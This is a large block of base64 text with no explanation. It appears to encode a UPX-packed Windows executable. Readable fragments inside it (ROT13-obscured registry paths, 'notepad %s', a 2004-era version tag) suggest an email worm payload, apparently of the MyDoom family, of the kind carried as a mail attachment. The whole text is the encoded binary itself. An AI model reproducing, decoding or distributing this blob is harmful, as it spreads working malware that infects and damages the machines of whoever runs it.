AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADEuMjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXuhwKSAFAmSgBAA/2yaZosEAT0 JegBAEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1gn2lIAEQHODA0TdN0AygkHBgQ 0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgpb1ym6ZrBB1RMA0Q4mqZpmiwk HBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmMgHhwKHto3mzTdQdcA1RMKP/7 C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm2NTMyMCapmm6uCewrKigmGma pmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnObAPgmzwPo4Nhnm85tVDRDA0A0 NNuK/////51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX//////dawCmVBHbrY95c3WHo cv+PIrhR7Ywu03sm1A058Kpn/////yfqsHlFFOa7k25MLRH44s+/sqihnZyeo6u2xNXpABo3//// /1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/////4cKkBmlpaj+8sPSqPgSLEprj7bg DT1wpt8bWnzhJ1XJ/////xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0Alk/LagyxQ3qy/////3MXzohH BciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/////7PH3voVNVh+p8MCNHmh3Bpbj+Ywbc0gds8r ivxRuSSS/////wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06Evfk4/////3q/B1Kg8UVsllOz GnzlUcAypx+aGJkdpC67S950DalI/////+qPN+KQQfWsZiPjpmw1AdCid08qCOnNtJ6Le25kXVlY /////1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9/////5p3pwJw4VXMBsNDxlzVYWFk anN/jKC1zegGJ0tynMn5/////yxim1cWWH2wYCb+I3rUMZHkWsMvzhCF/XT2d/uADJkp/////7xS 64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/////05COzc4OD1FUF5vg5q00fEUOmPPvvDl bLbkI1v3vGGo/////9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtvftbP2W6V/9/+/ykDI+mUCb/m 86VBEKZ8MmlrgCELLcdO0hCCbPn/////c6d33hSHBwf7UqoBYcAsm/cmlt2XnSJgD0aezf0sQH// ////k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/////IOOtYNrRUhXOZl+3QcAU5GWT n3j+cg2852qVe3sTdnb/////fRwNLfL29LDx0ed5+t1MZaP/J2yM3QvbjBupvXWHO0//////2xSC QhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3VNTsc5gBTQad8qKvwmLz5V43 3wVxUv////8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3HBv+F///4HZAEq5YABgYQK++Z 1E7/F3gLk8b4dSGMpP////9f/8xya+tv/qX97NBByXiR2cSsJsfo4Km3Gl1v7CkQo/////+88+31 b1EhNY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/////+goDLizkk6JC8wCo+uhOF1QKFimLL1MErg 4/+RgcEnB/////93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeKSMK1vP////+e+x9W5m6Q4DtH s6Aat9KqvMT3k0imAcAE/wYSi12p2P////+9lDH4H+haYz7f1grKQtUMXmBJcvX0rvRTF/wWFfKO mv////9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav/////mChg/OpWfgYLjc6RHPQkC 1i6IwqfVP4pc6p9WO189Sv/S///DeV9DCbjwq5rOHrKF2UvB1Dtez9/2R/lK9//////Y+y20imdi /1itEYwi91vLWN+F/KzgZdrrl5TiYAjvP/////884+x/EI5gft1Nm+SdBRuXetvMs/s3jyXxOR2y fBr1Hf////8fvZ/pxurp6z7ZlnD9O9pFJfbzpOfWBCFMOf5bpIeJkv///wud07BbjSo2QhvK0eQ0 UKzDHMXhZopsWzNRQv/////tPiOrYtfulPQ0sunVSaxeJq68bXlnlVs3hqSCPa6Hw/////+HsIC2 30Pfu4uAZS8eqDLLtSqTN0N54mI0WrrtaVxsIv////+sGNVz4evIhi9aSU/xQ/M3y282GD1nLaHx mEISuA3Byv+3//9rCmv4BY2NB56X6IhQtrK42fMygV/afl/30B0N/////0obAzp9Dz8LTxjxK+GI tTck99QHHzdvzWuQXUKWl5+i/////5+dLyZWQIb3G6y1WrwnOySknYnTyKVPNvpoAL4+XRnW/9v/ //XJFMnw5I4sNokL4Ibr0QsKM9OzNoaS5L2KMKD/////x7levNDeq8HISteCv13loJ6TkCXYQC8x oAmmszABodj/////X62RaLwYcjn1LKFjYYseGkEmNxtHqtnwu8XmMeBMLGk3/v//6PoRxnD3Q/tH otqg1fcoxb+1lXDRBPXwTWkb/P///5Y9kwalLLo5eAzbnQIjw5lVloRbh0I8/////zM0gDX2HfMk pl7G7zja3KqH39hyLz/E5PaWNo9ENUf1/////0HVkSZpZ8oT2iwybQkpEXNaQVYLOj3wUh2sL6Ya 8Lf6//9L/zEUJpeSD7SkLL5e0AzPz7cAa9N6kVQ4iJKx/zdo/+UK5+CVJZrIztaCA6XOe/G08x02 //9f+LAM0X+RjyX+Uoo2dWvv28HZI8YPPnUVpMD9/////7y6wzwIWudzhm7VsFdwOg9+pNxQ1UI/ D46vP6vgQHPj////G8Jcf4kUsvntAxgi/guPKpSVHU1h+iZvYRODv/D///4dwgw9++Z/Pyg0niuv Is0poutnXLhoSX5mS3+D/8CqqtMqy3VooCinSN/bpxo9Jf////8kBdfl7ODt4vj5DmeXVpG79FzN 19+Rurc/uZpdiKxdOf8W///scWuX7CvALghoxZ1ZGwkL7xm2U1mVWQ//////Enb5m9SRr06wQUig 7ocopmefDsc/T8i2AsWZXLVkcw6/xP//mwC2QVQU6wmD6sUA+Y5lXmhhFPbj4VKT/8L//9rIX5t3 xqKJytLk2yLxH48cya7VQHi4TNx8//////HJs26AaqCFK4S54KvN53F/t5sxWrWR0gg0cE6MJqNp v/T/bzUIm12byItb/UCW3EBYzBDq/LCLxW3/////i7LfHfd0EdwmqRAgSn4yQb7lYUvpcn8nvAZD k1L5Exv/////9l2+QJzCD5kAxous9YbX4IKed4v61OZOEMIYSz4o7fn/xv/2fAp/R8NqdrmZ/l2u bFrNThvriXGO/Bv9///x9gZ8eVwTsU8h9VT1K2J9pGNwtapiSpH/////NcaYZoAiWI9VLHjYQbE6 LHIQcNvvrGWSeeQf9fFKfWj//7/9a/DmwnRtA/4QUD3FQNqbogkIiH0B+TLGpQd0Gf////8s886o INbejbWmfm/llFZHQdjM7uuf9k8K4SbuOlm0Wv////8DRXH3nwiDNaCSVqL/Em5agE/9LvZoK6H3 ozr8Mzy9R////xY+SNiGVd8rwmwLhB+G2BfPBenU/evl2vX/////oa28Y04+A/OGhB4e59Kee0Oh vjuxnzTqilnbWWOvMqz/f+P/UMW+KcXlBOpf/gE8fcp288FLi388G1gLZIH/l/7/zDVEcN3wEDJH SYS62NSArAHoCGs5EX0R7+P//8b/9z2wtBhHMTGfjKaN64hStOPPO6YXEspnD63/b5T+d0e0zR44 vOJoQZgBCQMPAbgRtL2F/v//OQ11YCEb7WEUu4iyZlWUzYJVz6FuGa9SG/3//7dSpCoQS7DvKZAv 72JQKWmvdKWWbadVD/D//9vSfeg2mRbgbKcMvEZXguXrNqSWfKDpYo////9vITkyKEN+q8OpjiHA +SJDI1py/CRPQij6WYDOxP////90Icue7lWYFE/sT9EipSixBbk6mBN6f1HJaHmdjrHC7P////8W JF6DVibzUEyneDR11QV1tQ5OvQl3+THhH2D7dNZV0f////9I3WnpcByarVvw+YZGy61G8bM6Ya2g Zsrzsa/5tpQFzW9V4P+mjH5OU68wuWb44RQvQER4/////36KtuavqE5c3tYtqqytryuFym8V2Csj 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 